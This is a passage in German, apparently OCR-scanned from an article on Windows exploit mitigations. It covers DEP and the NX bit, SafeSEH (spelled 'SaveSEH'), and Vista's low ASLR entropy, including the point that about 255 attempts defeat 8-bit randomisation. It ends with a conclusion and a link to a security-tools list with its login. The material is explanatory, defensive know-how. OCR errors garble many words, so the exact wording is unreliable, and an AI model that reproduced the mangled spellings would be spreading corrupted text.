mechanismus nicht verfiigbar. Auf einem 64-Bit-System (zum Bei-
spiel Windows XP 64-Bit Edition + 64Bit-CPU) ist die hardware-
gesteuerte Datenausfiihrungsverhinderung standardméBig aktivert.
Alle 64-Bit-Anwendungen sind hierdurch geschiitzt. DEP kann auf
reinen 64-Bit Systemen nicht deaktiviert werden.

Auch neuere 32-Bit-CPUs bieten das NX-Bit an. Hier kann
der sogenannte PAE-Kernel (Physical Address Extension) von Win-
dows aktiviert werden, welcher dann auch das Nutzen der hardware-
unterstiitzten Datenausfithrungsverhinderung auf 32-Bit Systemen
ermdglicht.

Des Weiteren bietet Microsoft noch eine softwaregesteuerte
Datenausfiihrungsverhinderung. Entgegen jeglicher Vermutung be-
zeichnet diese Technologie jedoch nicht eine Softwareemulation der
hardwareunterstiitzten Datenausfithrungsverhinderung fiir Systeme,
die tiber keine NX-Bit enthaltende CPUs verfiigen. Die software-
gesteuerte Datenausfithrungsverhinderung, auch unter dem Namen
SaveSEH bekannt, ist vollig losgelost von dem NX-Bit. SaveSEH
soll lediglich den Missbrauch der Ausnahmebehandlung reduzieren,
wie schon im vorherigen Abschnitt geschildert.

In der Grundeinstellung von Windows werden nur die wichtigs-
ten Dienste und Komponenten von Microsoft geschiitzt. Dies soll
moglichen Kompatibilitdtsproblemen mit Anwendungen von Drit-
therstellern vorbeugen. Der Schutz kann jedoch auf alle Dienste
und Anwendungen ausgeweitet werden. Sollten Probleme mit ei-
nigen Anwendungen auftauchen, so empfiehlt Microsoft, diese auf
die vorhandene Ausnahmeliste zu setzten und so den Schutz fiir die-
se Anwendung zu deaktivieren. Dies wiederum stellt ein erhchtes
Sicherheitsrisiko dar.



Address Space Layout Randomization

Mit dem Betriebssystem Vista wurde von Microsoft auch erstmals
ASLR implementiert. Jedoch bietet die Technologie von Microsoft
weit weniger Entropie als zum Beispiel PaX unter Linux. Der Stack
wird mit 14 Bit, der Heap mit 5 Bit und das Image-Segment, wel-
ches das Pendant zu dem Linux SharedLibraries-Segment darstellt,
wird mit nur 8 Bit an Entropie geschiitzt. Diese niedrigen Werte
wurden laut Microsoft aus Performancegriinden gewihlt. Zudem
argumentiert ein Microsoft-Mitarbeiter auf seinem Webblog wie
folgt: ,,If you navigate to a Website and your browser crashes, will
you go back to that site another 255 times? “.

Sicherlich wird dies ein Benutzer nicht tun. Jedoch bedeutet das
auch im Umkehrschluss, dass ein Angreifer, der eine manipulier-
te Webseite betreibt, nur 255 Benutzer auf seine Webseite locken
muss, um bei einem schlieBlich einen erfolgreichen Angriff ver-
zeichnen zu konnen.

Fazit

Ein Angreifer hat trotz der hier vorgestellten Gegenmalinahmen
noch geniigend Moglichkeiten, ein System erfolgreich zu kompro-
mittieren. Alle aufgezeigten Schutzmechanismen haben, fiir sich al-
leine betrachtet, Schwachstellen, welche sich zum Umgehen aus-
nutzen lassen. Eine Kombination aller Mechanismen scheint zur-
zeit die beste Maflnahme gegen Angreifer zu sein. So kann ein wei-
terer Mechanismus die Schwachstelle eines ersten wettmachen. Vor
professioneller Industriespionage bieten diese Sicherheitsmechanis-
men sicherlich nicht anndhernd hundertprozentigen Schutz. Diese
Technologien sollten jedoch zurzeit guten Schutz gegen wahllos an-
greifende Script Kiddies bieten, denen jedes Jahr viele Endanwen-
der sowie kleine und mittelstdndische Unternehmen zum Opfer fal-
len. Denn die meisten einfachen vorgefertigten Exploits, die Script
Kiddies von einschlédgig bekannten Webseiten beziehen, diirften auf
Systemen, welche durch Canaries auf dem Stack, durch als nicht-
ausfithrbar markierte Speicherseiten und eine Randomisierung im
Prozessspeicher geschiitzt sind, nicht erfolgreich sein.

Unter http://labskaus.i7c.org/weekee/index.php/SecurityTools
befindet sich eine Sammlung vieler niitzlicher Programme zum Tes-
ten der Sicherheit von Software. Sie umfasst ein Spektrum an Pro-
grammen, deren Zweck weit iiber die Inhalte dieser Ausarbeitung
hinausgeht: Disassembler, Portscanner, Exploitation Frameworks,
Sniffer und viele mehr. Wir haben versucht, sowohl mit wohlbe-
kannten Listen dieser Art iiberein zu stimmen [sectools|| als auch
sehr grundlegende Werkzeuge, die zum Beispiel unter den verbrei-
teten Linux-Varianten mitgeliefert werden, mit in die Liste aufzu-
nehmen, um diese Einsteigern nicht vorzuenthalten. Der Benutzer-
name fiir die Liste ist ,,ivad®, das Passwort ist ,,paper*.
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